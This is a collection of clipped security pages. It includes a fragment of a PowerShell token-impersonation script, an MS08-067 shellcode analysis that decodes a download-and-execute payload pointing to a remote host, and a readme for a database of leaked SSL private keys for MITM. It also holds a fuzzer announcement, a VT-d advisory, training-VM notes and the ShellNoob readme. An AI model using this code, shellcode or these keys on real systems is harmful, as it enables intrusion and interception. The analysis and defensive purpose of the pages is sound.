24 |  Write-Host "Found elevated token in process $p \- Pid $\($p.ProcessId\)"  
25 |  return $token.Duplicate\(\)  
26 |  \}  
27 |  \}  
28 |  if \($ret -ne $null\) \{  
29 |  return $ret  
30 |  \}  
31 |  \} catch \{  
32 |  \}  
33 |  \}  
34 |  \}  
35 |  if \($token -ne $null\) \{  
36 |  break  
37 |  \}  
38 |  Start-Sleep -Seconds 1  
39 |  \}  
40 |   
41 |  if \(\!$NoFilter\) \{  
42 |  \# Filter to remove elevated groups/privileges.  
43 |  $token = Use-NtObject\($token\) \{  
44 |  Get-NtFilteredToken $token -Flags LuaToken  
45 |  \}  
46 |  \}  
47 |  return $token  
48 | \}  
49 |   
50 | Use-NtObject\($lua\_token = Get-ElevatedToken\) \{  
51 |  Use-NtObject\($lua\_token.Impersonate\(\)\) \{  
52 |  \[SandboxAnalysisUtils.Win32Process\]::CreateProcessWithLogin\("Badger", "Badger", "Badger",  
53 |  "NetCredentialsOnly", "cmd.exe", "cmd.exe", 0, "WinSta0\Default"\)  
54 |  \}  
55 | \}  
<img src='img/13237_11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

  

# Security Research & Defense : Shellcode Analysis via MSEC Debugger
Extensions

**Created:**| _1/8/2010 4:32:43 PM_  
---|---  
**Updated:**| _1/8/2010 4:32:56 PM_  
**Author:**| __  
**Tags:**| _shellcode bookmark Debugging reversing windbg_  
  

## Shellcode Analysis via MSEC Debugger Extensions

In a previous post we provided some background on the \!exploitable Crash
Analyzer which was released earlier this year. One of the things that we
didn’t mention is that \!exploitable is just one of the debugger commands
exported by the MSEC debugger extension. This extension also contains some
additional commands that shellcode analysts may find useful. These commands
can help with the process of decoding shellcode and resolving hashes to API
names. In this post we will show how these commands can be used to help
analyze shellcode from an exploit of MS08-067. In this example, the analysis
begins prior to the exploit gaining control.

#### Decoding Utilities

Below is the beginning of the call-to-self GetPC in the shellcode:

[code]

    0:016> u 010cf4fa
    010cf4fa e8ffffffff      call    010cf4fe                     ; call to self
    010cf4ff c25f8d          ret     8D5Fh
    010cf502 4f              dec     edi
    0:016> u 010cf4fe
    010cf4fe ffc2            inc     edx
    010cf500 5f              pop     edi                          ; edi = 010cf4ff
    
[/code]

Then an XOR decoder is used:

[code]

    010cf501 8d4f10          lea     ecx,[edi+10h]                ; ecx = 010cf50f 
    010cf504 8031c4          xor     byte ptr [ecx],0C4h
    010cf507 41              inc     ecx
    010cf508 6681394d53      cmp     word ptr [ecx],534Dh
    010cf50d 75f5            jne     010cf504
    010cf50f 38aec69da04f    cmp     byte ptr [esi+4FA09DC6h],ch  ; encoded, disassembles to garbage
    010cf515 85ea            test    edx,ebp
    010cf517 4f              dec     edi
    010cf518 84c8            test    al,cl
    010cf51a 4f              dec     edi
    010cf51b 84d8            test    al,bl
    010cf51d 4f              dec     edi
    010cf51e c44f9c          les     ecx,fword ptr [edi-64h]
    010cf521 cc              int     3
    010cf522 49              dec     ecx
    010cf523 7365            jae     010cf58a
    010cf525 c4              ???
    010cf526 c4              ???
    
[/code]

In order to decode the payload and further analyze the shellcode we could save
the bytes in an external file, load the file in an application such as IDA
Pro, and then run a decoder script over the bytes. This is a fairly tedious
process. The MSEC debugger extension provides an alternative solution in the
form of built-in decoding utilities that can help to expedite this task. One
of these commands is xoru:

[code]

    0:016> !msec.xoru
     Usage  : !xoru [-b] address [len] key
     Example: !xoru eax 64 DD
     Example: !xoru -b eax 64 DD (Leave the transformed buffer in memory)
     Example: !xoru 0x00123456 DD (using default length = 256)
    
[/code]

[code]

    0:016> !msec.xoru 010cf50f c4
    0x010cf50f  FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@....
    0x010cf520  58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P...
    0x010cf531  FC 56 FF 17 93 83 C6 07 E8 18 00 00 00 33 D2 52 52 .V...........3.RR
    0x010cf542  8B CC 66 C7 01 78 2E 51 FF 77 04 52 52 51 56 52 FF ..f..x.Q.w.RRQVR.
    0x010cf553  37 FF E0 AD 51 56 95 8B 4B 3C 8B 4C 0B 78 03 CB 33 7...QV..K<.L.x..3
    0x010cf564  F6 8D 14 B3 03 51 20 8B 12 03 D3 0F 00 C0 0F BF C0 .....Q ..........
    0x010cf575  C1 C0 07 32 02 42 80 3A 00 75 F5 3B C5 74 06 46 3B ...2.B.:.u.;.t.F;
    0x010cf586  71 18 72 DB 8B 51 24 03 D3 0F B7 14 72 8B 41 1C 03 q.r..Q$.....r.A..
    0x010cf597  C3 8B 04 90 03 C3 5E 59 C3 60 A2 8A 76 26 80 AC C8 ......^Y.`..v&...
    0x010cf5a8  75 72 6C 6D 6F 6E 00 99 23 5D D9 68 74 74 70 3A 2F urlmon..#].http:/
    0x010cf5b9  2F xx xx 2E 32 33 2E xx xx xx 2E xx xx xx 3A 33 38 /xx.23.xxx.xxx:38
    0x010cf5ca  31 38 2F 6D 79 6B 75 00 89 97 8C B5 A8 A8 B4 97 82 18/myku..........
    0x010cf5db  92 A6 93 94 AF BE 87 A1 AD 8F A8 89 8D B6 8D AD 9D .................
    0x010cf5ec  97 B4 8D 94 89 B2 BD BD B6 B4 BE AC A9 91 8C 80 91 .................
    0x010cf5fd  95 AA A6 96 89 93 87 8E 93 AD 9E 97 9D 8B A8 B1 A8 .................
    0x010cf60e  B2
    010cf50f fc              cld
    010cf510 6a02            push    2
    010cf512 59              pop     ecx
    010cf513 648b412e        mov     eax,dword ptr fs:[ecx+2Eh]
    010cf517 8b400c          mov     eax,dword ptr [eax+0Ch]
    010cf51a 8b401c          mov     eax,dword ptr [eax+1Ch]
    010cf51d 8b00            mov     eax,dword ptr [eax]
    010cf51f 8b5808          mov     ebx,dword ptr [eax+8]
    010cf522 8db7a1000000    lea     esi,[edi+0A1h]
    010cf528 e829000000      call    010cf556
    010cf52d 50              push    eax
    010cf52e e2f8            loop    010cf528
    010cf530 8bfc            mov     edi,esp
    010cf532 56              push    esi
    010cf533 ff17            call    dword ptr [edi]
    010cf535 93              xchg    eax,ebx
    010cf536 83c607          add     esi,7
    010cf539 e818000000      call    010cf556
    ...
    
[/code]

It’s worth noting that this shellcode utilizes a stop marker instead of a
counter for the XOR loop, hence we used the default decoding length \(256\)
since the shellcode size is less than that. Continuing on to the decoded
payload, we can see that the exploit starts with finding the base address of
kernel32.dll:

[code]

    010cf510 6a02            push    2
    010cf512 59              pop     ecx                        
    010cf513 648b412e        mov     eax,dword ptr fs:[ecx+2Eh]
    010cf517 8b400c          mov     eax,dword ptr [eax+0Ch]
    010cf51a 8b401c          mov     eax,dword ptr [eax+1Ch]
    010cf51d 8b00            mov     eax,dword ptr [eax]
    010cf51f 8b5808          mov     ebx,dword ptr [eax+8]     ; ebx = kernel32.dll base address
    
[/code]

For detailed explanation about the code, see \[1\].

#### API Name Hash Resolver Utilities

After the base address of kernel32.dll has been found, the shellcode then
invokes an API hash name resolver:

[code]

    010cf522 8db7a1000000    lea     esi,[edi+0A1h]   ; esi = 010cf5a0. 
    010cf528 e829000000      call    010cf556         ; Call API name hash resolver
    
[/code]

The resolver returns the address of the target function whose hash value is
pointed to by ESI and whose module address is in EBX. Since the value in the
ESI register is statically known, we can find the pre-computed hash value
which the shellcode attempts to match:

[code]

    0:016> dd 010cf5a0 L1
    010cf5a0  b24e66a4 
    
[/code]

However, due to the default behavior of xoru, this value is not correct
because the decoded bytes do not exist in memory. In this case, we can use the
“-b” switch which causes xoru to leave the transformed buffer in memory:

[code]

    0:016> !msec.xoru -b 010cf50f c4
    0:016> dd 010cf5a0 L1
    010cf5a0 768aa260
    
[/code]

Now we can find out the actual API name via \!msec.ror:

[code]

    0:016> !msec.ror
    Usage: !ror [-n ] [-c ] [-x]
    Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.
             !ror 0x0E8AFE98
    
[/code]

The purpose of this command is to determine the function that corresponds to a
given ror hash. A ror hash is often used by shellcode that runs on Windows as
a means of locating exported symbols such as LoadLibraryA, WinExec, and so on.
It’s worth noting that this particular shellcode uses ROL instead of ROR and
the current version of the MSEC debugger extension does not support ROL.
However, since ROL\(n\) = ROR\(32-n\), ROR\(25\) has the same effect as
ROL\(7\):

[code]

    010cf575 c1c007          rol     eax,7
    010cf578 3202            xor     al,byte ptr [edx]
    
    0:016> !msec.ror -x -n 25 768aa260
    ExitThread (kernel32.dll)
    
[/code]

It should also be noted that the shellcode XOR’s the next character to the
hash accumulator instead of ADD, hence the “-x” switch. In this way, we can
find the rest of the API calls the shellcode makes:

[code]

    0:016> !msec.ror -x -n 25 c8ac8026
    LoadLibraryA (kernel32.dll)
    
[/code]

[code]

    0:016> !msec.ror -x -n 25 d95d2399
    URLDownloadToFileA (urlmon.dll)
    
[/code]

With this knowledge, we’re in a better position to be able to quickly finish
analyzing the shellcode:

[code]

    010cf50f fc         cld                             
    010cf510 6a02       push    2
    010cf512 59         pop     ecx                         ; ecx = 2
    010cf513 648b412e   mov     eax,dword ptr fs:[ecx+2Eh]
    010cf517 8b400c     mov     eax,dword ptr [eax+0Ch]
    010cf51a 8b401c     mov     eax,dword ptr [eax+1Ch]
    010cf51d 8b00       mov     eax,dword ptr [eax]
    010cf51f 8b5808     mov     ebx,dword ptr [eax+8] ; ebx = kernel32.dll base
    010cf522 8db7a1000000 lea     esi,[edi+0A1h]      ; esi = 010cf5a0. esi points to
                                                    ; the hash value to resolve
    010cf528 e829000000 call    010cf556            ; Call API hash solver. esi += 4.
    010cf52d 50         push    eax                 ; Push the resolved function
                                                    ; pointer (kernel32!ExitThread) 
                                                    ; onto the stack
    010cf52e e2f8       loop    010cf528            ; Since ecx = 2, resolve
                                                    ; (kernel32!LoadLibraryA) and push 
                                                    ; it onto the stack
    010cf530 8bfc       mov     edi,esp             ; edi = LoadLibrary
    010cf532 56         push    esi                 ; esi = 010cf5a8 = "urlmon"
    010cf533 ff17       call    dword ptr [edi]     ; Call LoadLirary("urlmon")
    010cf535 93         xchg    eax,ebx             ; ebx = module handle to 
                                                    ; urlmon.dll (base address)
    010cf536 83c607     add     esi,7               ; esi = 010cf5af
    010cf539 e818000000 call    010cf556            ; Call API hash solver. esi += 4.
    010cf53e 33d2       xor     edx,edx             ; eax = urlmon!URLDownloadToFileA
    010cf540 52         push    edx                 ; An argument to ExitThread
    010cf541 52         push    edx                 ; NULL terminate string
    010cf542 8bcc       mov     ecx,esp
    010cf544 66c701782e mov     word ptr [ecx],2E78h ; ecx = pointer to “.x”        
    010cf549 51         push    ecx                 ; After URLDownloadToFileA, 
                                                    ; LoadLibrary takes this string as
                                                    ; an argument.
    010cf54a ff7704     push    dword ptr [edi+4]   ; Func ptr kernel32!ExitThread. 
                                                    ; After URLDownloadToFileA, 
                                                    ; LoadLibrary(“.x”) returns
                                                    ; to ExitThread here.
    010cf54d 52         push    edx                 ; lpfnCB = NULL 
    010cf54e 52         push    edx                 ; dwReserved = 0
    010cf54f 51         push    ecx                 ; szFileName = “.x”
    010cf550 56         push    esi                 ; szURL
    010cf551 52         push    edx                 ; pCaller = NULL
    010cf552 ff37       push    dword ptr [edi]     ; Func ptr LoadLibrary. 
                                                    ; URLDownloadToFileA returns to 
                                                    ; LoadLibrary here.
    010cf554 ffe0       jmp     eax                 ; Jump to URLDownloadToFileA
    
[/code]

#### Conclusion

We have shown how the MSEC debugger extension can help expedite the analysis
of shellcode by providing some helper functionality. We hope that these tools
will help increase the efficiency and effectiveness of shellcode analysts.

\- Jinwook Shin, MSEC Security Science

\*Postings are provided "AS IS" with no warranties, and confers no rights.\*

#### References

\[1\] skape, Understanding Windows Shellcode.
http://www.hick.org/code/skape/papers/win32-shellcode.pdf

# littleblackbox - Project Hosting on Google Code

**Created:**| _12/20/2010 10:11:10 PM_  
---|---  
**Updated:**| _12/20/2010 10:11:25 PM_  
**Author:**| __  
**Tags:**| _Embedded crypto_  
  

LittleBlackBox is a collection of thousands of private SSL keys extracted from
various embedded devices. These private keys are stored in a database where
they are correlated with their public SSL certificates as well as the
hardware/firmware that are known to use those SSL keys.

A command line utility is included to aid in the identification of devices or
network traffic that use these known private keys. Given a public SSL
certificate, the utility will search the database to see if it has a
corresponding private key; if so, the private key is displayed and can be used
for traffic decryption or MITM attacks. Alternatively, it will also display a
table of hardware and firmware that is known to use that private key.

The utility can obtain a public certificate several different ways:

  1. You may give it the path to a public certificate file.
  2. You may give it the SHA1 hash of a public certificate.
  3. Given a host, it will retrieve the host's public SSL certificate.
  4. Given a pcap file, it will parse the file looking for public certificate exchanges.
  5. Given a live network interface, it will listen for public certificate exchanges.

# lcamtuf's blog: Announcing cross\_fuzz, a potential 0-day in circulation,
and more

**Created:**| _1/1/2011 10:55:46 AM_  
---|---  
**Updated:**| _1/1/2011 11:12:21 AM_  
**Author:**| __  
**Tags:**| __  
  

## January 01, 2011

### Announcing cross\_fuzz, a potential 0-day in circulation, and more

I am happy to announce the availability of `cross_fuzz` \- an amazingly
effective but notoriously annoying cross-document DOM binding fuzzer that
helped identify about one hundred bugs in all browsers on the market - many of
said bugs exploitable - _and is still finding more_.

The fuzzer owes much of its efficiency to dynamically generating extremely
long-winding sequences of DOM operations across multiple documents, inspecting
returned objects, recursing into them, and creating circular node references
that stress-test garbage collection mechanisms.

Detailed `cross_fuzz` fuzzing algorithm:

  1. Open two windows with documents of any \(DOM-enabled\) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead. 
  2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage. 
  3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references \(or, with some probability, to one of a handful of hardcoded "interesting" values\). 
  4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner. 
  5. Randomly destroy first document using one of the several possible methods, toggle garbage collection. 
  6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one. 
  7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.

This design makes it unexpectedly difficult to get clean, deterministic
repros; to that effect, in the current versions of all the affected browsers,
**we are still seeing a collection of elusive problems when running the tool**
\- and some not-so-elusive ones. I believe that at this point, a broader
community involvement may be instrumental to tracking down and resolving these
bugs.

_I also believe that at least one of the vulnerabilities discovered
by`cross_fuzz` may be known to third parties - which makes getting this tool
out a priority._

The following summarizes notification and patch status for all the affected
vendors:

  * **Internet Explorer:** MSRC notified in July 2010. Fuzzer known to trigger several clearly exploitable crashes \(example stack trace\) and security-relevant GUI corruption issues \(XP-only, example\). Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties.
_Comment: Vendor has acknowledged receiving the report in July
\(case`10205jr`\), but has not contacted me again until my final ping in
December. Following that contact attempt, they were able to quickly reproduce
multiple exploitable crashes, and asked for the release of this tool to be
postponed indefinitely. Since they have not provided a compelling explanation
as to why these issues could not have been investigated earlier, I refused;
see this timeline for more._

  * **All WebKit browsers:** WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk.
  * **Firefox:** Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, 50 additional bugs identified \(generally with no specific attribution at patch time\). Several elusive crashes still occurring on trunk. Bad read / write offset crashes in `npswf32.dll` can also be observed if the plugin is installed.
  * **Opera:** vendor notified in July 2010. Update provided in December states that Opera 11 fixed all the frequent crashes, and that a proper security advisory will be released at a later date \(release notes: _" fixed a high severity issue"_\). Several tricky crashes reportedly still waiting to be resolved.
Note that with Opera, the fuzzer needs to be restarted frequently.

Well, that's it. To download the tool or see it in action, you can follow this
link. The fuzzer may be trivially extended to work with any other DOM-
compliant documents, plugin bindings, and so forth.

  

Detailed `cross_fuzz` fuzzing algorithm:

  1. Open two windows with documents of any \(DOM-enabled\) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead. 
  2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage. 
  3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references \(or, with some probability, to one of a handful of hardcoded "interesting" values\). 
  4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner. 
  5. Randomly destroy first document using one of the several possible methods, toggle garbage collection. 
  6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one. 
  7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.

<img src='img/cross_fuzz.zip' width='265' height='49' />  

  

# BeyondCorp: How Google Ditched VPNs for Remote Employee Access - The New
Stack

**Created:**| _3/7/2018 8:42:38 AM_  
---|---  
**Updated:**| _3/7/2018 8:42:38 AM_  
**Author:**| _wishi_  
**Tags:**| _Google vpn_  
  

  

####  Case Study / Events / Technology / Top Stories / Global

# BeyondCorp: How Google Ditched VPNs for Remote Employee Access

####  3 Jan 2018 9:34am, by  Joab Jackson

<img src='img/142ac586-beyondcorp.png' width='640' height='356' />

+

Today, none of Google’s employee-facing applications are on a virtual private
network. They all have public IP addresses.

The company feels this approach, which it has dubbed BeyondCorp, is the “new
cloud model,” for doing cloud security, asserted Neal Mueller, head of
infrastructure product marketing at Google, who gave a presentation on this
approach at the O’Reilly Security conference, held recently in New York.

This model can be fall under a number of rubrics in the security community,
including “zero-trust” or “perimeter-less” security. It is the opposite of the
traditional approach of security, which Mueller described as “the castle”
approach, in which a strong firewall is used to set off an internal network
that can only be accessed by way of a virtual private network \(VPN\).

The problem with the “castle” approach is that once the perimeter is breached,
the entire internal network, and all the associated applications, are at risk.
“Do not trust your network. It is probably already owned,” added Max
Saltonstall, a Google program manager for corporate engineering, who also
participated in the presentation. Phishing, man-in-the-middle, SQL Injection
attacks all find fertile ground on VPNs.

Plus, a VPN was cumbersome to use, and slowed performance, especially for
overseas workers. And it is no walk in the park for admins either. To set up a
new user, the admin would typically have to configure the cloud network, along
with setting up the IPSec rules and firewall rules, the VPN. This is followed
by a lot of testing.

At Google, “we embraced the fact that walls don’t work,” Mueller said. “Rather
than have a VPN around all this infrastructure, we decided to get rid of the
walls entirely.”

Google’s approach involves comprehensive inventory management, one that keeps
track of who owns which machine in the network. A Device Inventory Service
collects a variety of live information about each device from multiple system
management sources, such as Active Directory or Puppet.

Authentication is then based on a set of “Trust Tiers” represent levels of
increasing sensitivity. Employees get the appropriate level of access
regardless of what device they are using or where in the world they are
logging in from. Lower levels of access require less stringent checks on the
device itself.

“The access is granted based on context: Who are you? Have you authenticated
in a strong way? What are you using? What do I know about your device?”
Saltonstall summarized.

The network itself is unprivileged. For identity management, the company uses
security keys, which are much harder to forge than passwords and are tied to
the individual users themselves. Each work device has a certificate issued by
Google. Encryption across the network is done through TLS \(transport layer
security\), which is terminated at the access proxy.

<img src='img/1603954c-beyondcorp-infra.jpg' width='600' height='267' />

BeyondCorp infrastructure \(USENIX\)

All the corporate resources are behind this uber-reverse proxy. Based on a
decision provided by its “trust engine,” the proxy makes the decision of
whether or not to provide access to the desired application. If permissions
are in place, according to the tiered trust model, it forwards the requests to
the application, along with the security credentials. The applications
themselves are routinely checked for breaches by vulnerability scanners.

Amazingly, Google was able to shift all of its employees, including remotes
ones, over to this new model, with minimal disruption, Saltonstall said.

To prepare for a transparent shift, which started in 2013, the migration team
recorded all the actions that Google employees did on the old network, then
rerun a simulation of the traffic on the new network. This monitoring gathered
about 80TB a day \(The model benefited the fact that all of Google’s internal
applications are already on the Web\).

“If you play back the current traffic on the new network, you can see what
will break,” Saltonstall said. This lets the team identify those end-services
that weren’t fully compliant yet, as well as identified users who could
seamlessly switch over to the new network.

This approach has some good additional benefits, Saltonstall said.
Provisioning Chromebooks for new employees is a minimal processing, taking no
longer than 90 seconds worth of configuration settings.

With the “BeyondCorp” approach, “You are taking operation problems, and
turning them into engineering problems, and then engineer them away,”
Saltonstall said. “All the frustrating, boring human grunt-work becomes
automated.”

Google is a sponsor of The New Stack.

authenticationenterprise securityO'Reilly Security Conference 2017reverse
proxySecuritysecurity keysvirtual private networkszero-trust security model

+

  

# Downloads - owaspbwa - Download Information for the OWASP Broken Web
Applications Project - Project Hosting on Google Code

**Created:**| _11/23/2010 3:15:49 PM_  
---|---  
**Updated:**| _11/23/2010 3:16:00 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pentest_  
  
owaspbwa _OWASP Broken Web Applications Project_ |   
---|---  
Project Home |  |  Wiki |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---|---|---  
SearchSearch within: All wiki pages Featured pages Current pages Deprecated pages for |   
---|---  
| Updated Nov 15, 2010 by chuck.f.willis  
---  
Labels: | Featured  
Downloads

Download Information for the OWASP Broken Web Applications Project

# Downloads¶

Version 0.92rc2 of the OWASP Broken Web Applications Virtual Machine \(VM\)
was released on November 15, 2010.

The VM is in VMware format compatible with their no-cost VMware Player and
VMware Server products \(along with their commercial products\).

The VM can be downloaded as a .zip file or as a much smaller .7z 7-zip
Archive. **BOTH FILES CONTAIN THE EXACT SAME VM\!** I recommend that you
download the .7z archive if possible to save bandwidth \(and time\). 7-zip IS
available for Mac, Linux, and other Operating Systems.

Download from http://sourceforge.net/projects/owaspbwa/files/.

.7z File:

  * Size: 606 MB
  * MD5: 6d8340e0b3e43c4ddd7c5c34abb71418

Zip File:

  * Size: 905 MB
  * MD5: eddf31730f14a0923edcd84f9a7c392f

# Installation¶

The VM requires no installation. Simply extract the files from the archive and
then start the VM in a VMware product. Once the machine is booted, you can
access it via the console, SSH, or Samba using username=root and
password=owaspbwa.

Note - The VM is entirely command line driven. X-Windows or other GUI systems
have not been installed.

If you would like to access your VM from links off this site, the one
configuration change you may need to make is to add an entry to your hosts
file pointing to the name owaspbwa to the IP address of your VM. It is
recommended that you do this so that you can follow links on this web site to
pages on your local OWASPBWA VM.

# Known Bugs¶

All known bugs \(not the intentional security issues\) in the VM are in the
Google Code issue tracker \(see "Issues" in the menu above\). Please report
any additional bugs you discover.

The known security vulnerabilities in the applications are tracked at
http://sourceforge.net/apps/trac/owaspbwa/report/1. Please submit any
additional issues that you discover.

# Evading Intel VT-d protection by NMI interrupts – Security Advisory » CrySyS
Blog

**Created:**| _9/27/2013 10:56:35 AM_  
---|---  
**Updated:**| _9/27/2013 10:56:35 AM_  
**Author:**| __  
**Tags:**| _hardware virtusalisation_  
  

# **E** vading Intel VT-d protection by NMI interrupts – Security Advisory »
CrySyS Blog****

Gábor Pék \(CrySyS Lab\) started to explore possible vulnerabilities in the
use of directly assigned \(passthrough\) devices in contemporary hypervisors
\(Xen and KVM\)**.** As a result of this research, he pointed out some
misbehaviors in the interrupt handling method of current platforms. One of
this issues is going to be presented in this article**.** A paper is to be
published about all the discovered issues in collaboration with other
researchers from Eurecom, France**.**

**Description**

Direct-device assignment is one of the most controversial issues in hardware
virtualization, as it allows for using devices almost at native speed,
however, raises many security problems. As most of these issues can be evaded
by properly configured system software and hardware, the security issues of
that area seemed to be solved**.** At the same time, virtual instances with
direct-device assignment are publicly available via various cloud providers,
so the security issues have to be examined in more details**.** In this
article, an interesting vulnerability is going to be presented which is not a
simple software bug, but an example for an issue on how to handle improperly a
hardware-level mechanism: the interrupt generation**.**

More precisely, native host-side Non-Maskable Interrupts \(NMI\) can be
generated on systems \(e**.** g**.** , Xen, KVM etc\) with System Error
Reporting \(SERR\) enabled via a passthrough device being attached to a fully
virtualized \(HVM\) guest even when all the available hardware protection
mechanisms are turned on \(Intel VT-d DMA and Interrupt Remapping\)**.**

As a result of the NMI, the corresponding host-side NMI handler is executed
which may cause Denial of Service \(DoS\)**.** An attacker who is capable of
controlling the NMI handler \(e**.** g**.** , modifies it via a software bug\)
can also gain privileged guest/hypervisor privileges for code execution**.**

To reproduce the issue, the attacker has to create a malformed MSI request by
writing to the LAPIC MMIO space \(0xFEExxxxx\) in the guest physical address
range**.** This can be accomplished by a modified DMA transaction**.**
Examples for malformed MSI requests include Interrupt Vector numbers being set
below 16 or MSI requests with invalid size \(not DWORD\)**.**

_Output of Xen 4.2 Dom0 after the attack \(xl dmesg\):_

\(XEN\) NMI – PCI system error \(SERR\)

_Output of KVM 3**.** 4 host after the attack \(/var/log/kern.log\):_

NMI: PCI system error \(SERR\) for reason a1 on CPU 0**.**  
Dazed and confused, but trying to continue

The NMI is reported as a result of an ‘Unsupported Request’ PCI system error,
and has nothing to do with compatibility format MSIs with delivery mode of
NMI**.** Note that Interrupt Remapping disables the use of compatibility
format MSIs by clearing the GCMD.CFI flag**.** By turning x2APIC mode on
system software cannot even reconfigure that flag**.**

Later investigations showed that the host-side NMI was not generated by the
PCI device being assigned to a fully virtualized \(hardware-assisted\) guest,
but the Host Bridge\(00:00**.** 0\). See the output of lspci.

_Before the attack:_

00:00**.** 0 Host bridge: Intel Corporation 2nd Generation Core Processor
Family DRAM Controller \(rev 09\)  
Subsystem: …  
Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping-
SERR+ FastB2B- DisINTx-  
Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- <TAbort-
<MAbort+ >**SERR-** <PERR- INTx-  
Latency: 0  
Capabilities: \[e0\] Vendor Specific Information: Len=0c <**?** >

_After the attack:_

00:00**.** 0 Host bridge: Intel Corporation 2nd Generation Core Processor
Family DRAM Controller \(rev 09\)  
Subsystem: …  
Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping-
SERR+ FastB2B- DisINTx-  
Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- <TAbort-
<MAbort+ >**SERR+** <PERR- INTx-  
Latency: 0  
Capabilities: \[e0\] Vendor Specific Information: Len=0c <**?** >

**Vulnerable Systems**

Affected platforms enable System Error Reporting, where the corresponding NMI
handler is executed in the hypervisor/host OS that should have never happened
in normal circumstances when Intel VT-d Interrupt Remapping is enabled**.**
Note that only Xen and KVM were tested and verified, however, every other
system software can be affected which runs above a platform with SERR and
Intel VT-d enabled**.**

**Mitigation**  
While Intel does not recommend to turn SERR reporting on by default, some
platforms do enable it as it carries essential information about legal system
errors**.**

SERR reporting can either be disabled for the Host Bridge, or system software
can block SERR error signaling due to Unsupported Request error resulting from
malformed MSI requests**.** The former advice is quite intrusive as it
suppresses all the system errors coming from the Host Bridge**.** At the same
time, this is supported by all the chipsets**.** The second option is a more
fine-grained solution, however, there is no information whether it is
applicable to all Intel chipsets**.**

As a consequence, there is no real solution available for the issue for
now**.**

**References**

Corresponding CVE number: CVE-2013-3495  
Corresponding Xen Security Advisory number: XSA-59

**Acknowledgement**

Many thanks go to Jan Beulich from the Xen security team and the Intel Product
Security Incident Response Team for the in-depth discussions, recommendations
and advices**.**

More details about this issue is going to be published in our upcoming
paper**.**

May you have any questions please let us know**.**

****

# reyammer/shellnoob · GitHub

**Created:**| _10/13/2013 8:18:26 AM_  
---|---  
**Updated:**| _10/13/2013 8:18:26 AM_  
**Author:**| __  
**Tags:**| _shellcode programming_  
  

# ShellNoob****

Writing shellcodes has always been super fun, but some parts are extremely
boring and error prone**.** Focus only on the fun part, and use
**ShellNoob****\!**

Please report all bugs and swears to yanick \[AT\] cs.ucsb.edu / @reyammer
**.**

##  News****

07/29/2013 - ShellNoob 2**.** 0 is out**\!**

06/08/2013 - ShellNoob got accepted at Black Hat Arsenal**\!** See
announcement here: link**.**

##  Features****

  * convert shellcode between different formats and sources**.** Formats currently supported: asm, bin, hex, obj, exe, C, python, ruby, pretty, safeasm, completec, shellstorm**.** \(All details in the "Formats description" section.\)
  * interactive asm-to-opcode conversion \(and viceversa\) mode**.** This is useful when you cannot use specific bytes in the shellcode and you want to figure out if a specific assembly instruction will cause problems.
  * support for both ATT & Intel syntax**.** Check the `--intel` switch.
  * support for 32 and 64 bits \(when playing on x86\_64 machine\)**.** Check the `--64` switch.
  * resolve syscall numbers, constants, and error numbers \(now implemented for real**\!** :-\)\).
  * portable and easily deployable \(it only relies on gcc/as/objdump and python\)**.** And it just _one self-contained python script_**\!**
  * in-place development: you run ShellNoob directly on the target architecture**\!**
  * built-in support for Linux/x86, Linux/x86\_64, Linux/ARM, FreeBSD/x86, FreeBSD/x86\_64**.**
  * "\*prepend breakpoint\*" option. Check the `-c` switch**.**
  * read from stdin / write to stdout support \(use "-" as filename\)
  * uber cheap debugging: check the `--to-strace` and `--to-gdb` option**\!**
  * Use ShellNoob as a Python module in your scripts**\!** Check the "ShellNoob as a library" section.
  * Verbose mode shows the low-level steps of the conversion: useful to debug / understand / learn**\!**
  * Extra plugins: binary patching made easy with the `--file-patch`, `--vm-patch`, `--fork-nopper` options**\!** \(all details below\)

##  Use Cases****

###  Built-in help****

[code]

    $ **.** /shellnoob.py -h
    shellnoob**.** py [--from-INPUT] (input_file_path | - ) [--to-OUTPUT] [output_file_path | - ]
    shellnoob**.** py -c (prepend a breakpoint (Warning: only few platforms/OS are supported**!**)
